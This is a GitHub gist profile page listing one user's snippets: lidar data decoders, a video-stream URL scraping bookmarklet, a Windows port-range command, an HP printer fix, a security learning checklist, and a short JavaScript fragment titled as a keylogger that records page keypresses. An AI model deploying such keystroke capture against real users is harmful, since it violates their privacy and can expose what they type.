Skip to content

Instantly share code, notes, and snippets.

View VictorXLR's full-sized avatar
🏠

VictorXLR

🏠
View GitHub Profile
import struct
import zmq
context = zmq.Context()
socket = context.socket(zmq.SUB)
# IMU uses 5556, point cloud uses 5555
socket.connect("tcp://192.168.1.249:5556")
socket.setsockopt(zmq.SUBSCRIBE, b"")
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Unitree Lidar Decoder - SDK2 Protocol</title>
<style>
* {
margin: 0;
padding: 0;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Unitree Lidar Decoder</title>
<style>
* {
margin: 0;
padding: 0;
javascript:(function(){function f(t){const p=[/https?:\/\/[^"%27\s)]*\.m3u8[^"%27\s)]*/gi,/https?:\/\/[^"%27\s)]*\.mpd[^"%27\s)]*/gi,/https?:\/\/[^"%27\s)]*\.(mp4|webm)[^"%27\s)]*/gi,/https?:\/\/[^"%27\s)]*\/manifest[^"%27\s)]*/gi,/streamUrl["%27\s:=]+[%27"](https?:\/\/[^"%27]+)[%27"]/gi,/videoUrl["%27\s:=]+[%27"](https?:\/\/[^"%27]+)[%27"]/gi,/source["%27\s:=]+[%27"](https?:\/\/[^"%27]+\.(mp4|webm|m3u8|mpd))[%27"]/gi];let m=[];p.forEach(r=>{const o=t.match(r);if(o)m=m.concat(o)});m=m.map(u=>u.replace(/["%27\s)]+$/,%27%27));return[...new Set(m)]}const v=Array.from(document.querySelectorAll(%27video%27));let s=[];if(v.length>0){v.forEach((vid,i)=>{if(vid.src){s.push({name:`Video ${i+1} direct`,url:vid.src})}Array.from(vid.querySelectorAll(%27source%27)).forEach((src,j)=>{if(src.src){s.push({name:`Video ${i+1} source ${j+1}`,url:src.src})}})})}const i=Array.from(document.querySelectorAll(%27iframe%27));if(i.length>0){i.forEach((frm,i)=>{if(frm.src){s.push({name:`Iframe ${i+1}`,url:frm.src,isFrame:true})}})}let
@VictorXLR
VictorXLR / gist:1cab006f1599629673b420c6c7f079fd
Created March 12, 2021 00:11
Get port ranges on windows 10
Made this Gist because, i couldnt use port 3000 on my node applications,
found the command here https://stackoverflow.com/questions/58424707/unable-to-listen-on-specific-windows-10-ports
```
netsh int ipv4 show excludedportrange tcp
```
@VictorXLR
VictorXLR / readme.md
Last active January 12, 2021 01:28
Fix HP Attention Required Error

Guide on Fixing Attention Required on HP Printers

I think this solution works for other HP printers with this error message because I found this in a forum for a completely different kind of HP printer.

Do the following:

  1. From the Windows setting go into the Devices

  2. Select Printers & Scanners

This file has been truncated, but you can view the full file.
3314387511274085368938289572631386805982089816596366244256747519669537404016839503798907486112936047256418346471950202939655208048047559115933787014365557692883233858467027001994415254497544156280229739787909117509129355272773890954818566942799392557302525804726742561893897131049188163574173557463334113318697160717202695851321586558670607885274230940342194163820648330718772883840656475625971553024706499743412370287979370732285638278088000232791250180165220813711957673997854720259042699457087083533385641190010659724696213368653239817449203362794278742572150432632480896020565867533325733245184308273994006139354917886977456170374054096980954565444920719654056334960364964410406301739114583409935775605744102553027114505170600664429987384222545176247851701798065076252275605282834798591083206886084970043970474562770308675663493948003461584258932577912544554139639230295060297106396976765899777972174578278454942787357365652264230597820474811453266300152577566507814870679732695414392918386681260949581090773530179290916
@VictorXLR
VictorXLR / SecStuff
Last active April 10, 2020 23:51
The Arsenal, The Armory & The Libary
++++++ Basic knowledge requirements for cybersecurity and hacking ++++++
These are the basic competencies expected (and tested for during the 1st in person interview) by a large, very visible InfoSec company I think it is a good base competency list for anyone looking to get into an Infosec career (with specialization plus and some programming /scripting ability) or learn cybersecurity/hacking as a hobby:
Networking: Good understanding of OSI layer model / Understating of communication flow through each layer / Good understanding of functions of each layer / Understanding of major protocols in each layer / In-depth understanding Layer 3 & Layer 4 protocols  IP, ICMP Protocols (layer 3) TCP, UDP Protocols (layer 4)
Overview of TCP/IP Layer model: ARP / Understanding of Client & Server communication model / Ports common services run on / Ephemeral port vs Well known ports
Understanding of major (everyday Layer 7) services/protocols: DNS o DHCP o HTTP HTTP Header Fields HTTP Status Codes  How HTTP mainta
@VictorXLR
VictorXLR / logkey.js
Created January 10, 2020 16:25
Simple Keylogger.js
// get the HTML tag of the page
var obj = document.documentElement
// event listener for keypress
obj.addEventListener('keypress', pushedKey)
// function to be called on keypress
function pushedKey(e) {
var key = e.code
key = key.slice(-1)

Keybase proof

I hereby claim:

  • I am victorxlr on github.
  • I am victorxlr (https://keybase.io/victorxlr) on keybase.
  • I have a public key ASA0U8SgoT8DKqh7ypxLHmG543k4MLdsakPQ3Q-MJGSS0go

To claim this, I am signing this object: